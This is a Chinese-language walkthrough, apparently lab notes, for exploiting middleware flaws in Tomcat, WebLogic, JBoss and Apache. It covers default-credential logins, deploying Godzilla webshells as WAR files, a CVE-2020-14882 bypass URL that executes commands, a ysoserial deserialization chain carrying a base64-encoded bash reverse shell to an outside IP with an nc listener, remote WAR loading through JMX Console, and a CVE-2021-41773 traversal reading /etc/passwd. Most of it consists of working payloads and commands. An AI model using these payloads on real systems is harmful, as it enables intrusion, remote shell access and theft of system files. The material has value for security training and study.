常见的中间件漏洞
Tomcat
CVE-2017-12615
访问主页进行抓包
修改传参方式为put
放包进行连接
后台弱⼝令部署war包
访问主页试用默认账号密码tomcat/tomcat进行登录后
将哥斯拉生成的jsp木马文件压缩城成zip文件,然后再修改zip后缀文war
然后进行上传
使用哥斯拉进行测试连接
CVE-2020-1938
访问主页

下载漏洞利用工具 cve-2020-1938.py
然后放kali里面跑(这里为了使用方便给他命名为22.py了,如果没有重命名则需要使用文件的原名cve-2020-1938.py)

WebLogic
后台弱⼝令GetShell
访问主页显示报错404

然后我们在url后面加上 /console/login/LoginForm.jsp进行访问(账号密码为 weblogic/Oracle@123 )

进入后台后点击部署》安装》然后上传文件

这里同样是上传war文件,那么我们就直接使用前面修改的那个jsp木马的war文件进行上传

上传成功后进行哥斯拉连接

CVE-2017-3506
首先验证是否存在wls-wsat组件
访问http://172.16.1.185:7001/wls-wsat/CoordinatorPortType
然后进行抓包,添加请求包,反弹shell。
然后使用kali监听
CVE-2019-2725
访问http://172.16.1.185:7001 /_async/AsyncResponseService

进行抓包,修改数据包是其下载木马文件
然后进行哥斯拉连接
CVE-2018-2894
环境搭建完成之后访问
http:\\172.16.1.63:7001console/login/LoginForm.jsp

启动web服务测试页

进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录

点击安全 , 点击添加
然后查看源代码, 然后搜索16 , 找到对应时间戳

然后使用哥斯拉进行连接

CVE-2020-14882
访问网站使用url饶过验证
http:\\172.16.1.63:7001/console/css/%252e%252e%252fconsole.porta
访问
http://172.16.1.63:7001/console/css/%252e%252e%252fconsole.portal_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
进入kali 的容器中发现运行成功
Jboss
CVE-2015-7501

在url后面加
/i nvoker/JMXInvokerServlet
.下载 ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
将反弹shell进⾏base64编码
bash -i >& /dev/tcp/120.55.57.110/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuNTcuMTEwLzY2NjYgMD4mMQ==
执行
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuNTcuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser

服务器监听端口
nc -lvvp 6666
执行命令
curl http://172.16.1.63:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

然后就成功反弹shell了
CVE-2017-7504
访问网址
http://172.16.1.63:8080/jbossmq-httpil/HTTPServerILServlet

用kali执行
python3 jexboss.py -u http://172.16.1.63:8080

CVE-2017-12149
访问 http://172.16.1.63:8080/invoker/readonly 看漏洞是否存在

返回500则说明漏洞存在
使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:
⼯具地址:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

Administration Console弱⼝令
访问
http://172.16.1.63:8080/admin-console/login.seam

进入后台后点击web应用

然后上传木马文件shell.war

然后进行哥斯拉连接

高版本JMX Console未授权
访问
http://172.16.1.63:8080/jmx-console/

修改配置

把木马文件的war包布置到服务器上
然后我们返回靶场的网页
进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址让其远程下载
然后就可以使用哥斯拉进行连接了
低版本JMX Console未授权
访问网站往下翻找到jboss.deployment
点进去之后void addURL() 选项远程加载war包来部署。
然后会回显这个页面提示成功

使用哥斯拉进行测试连接

Apache
CVE-2021-41773
访问网站http://172.16.1.99:8080
然后登录虚拟机kali使用poc来成功读取etc下的passwd文件
curl http://172.16.1.99:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
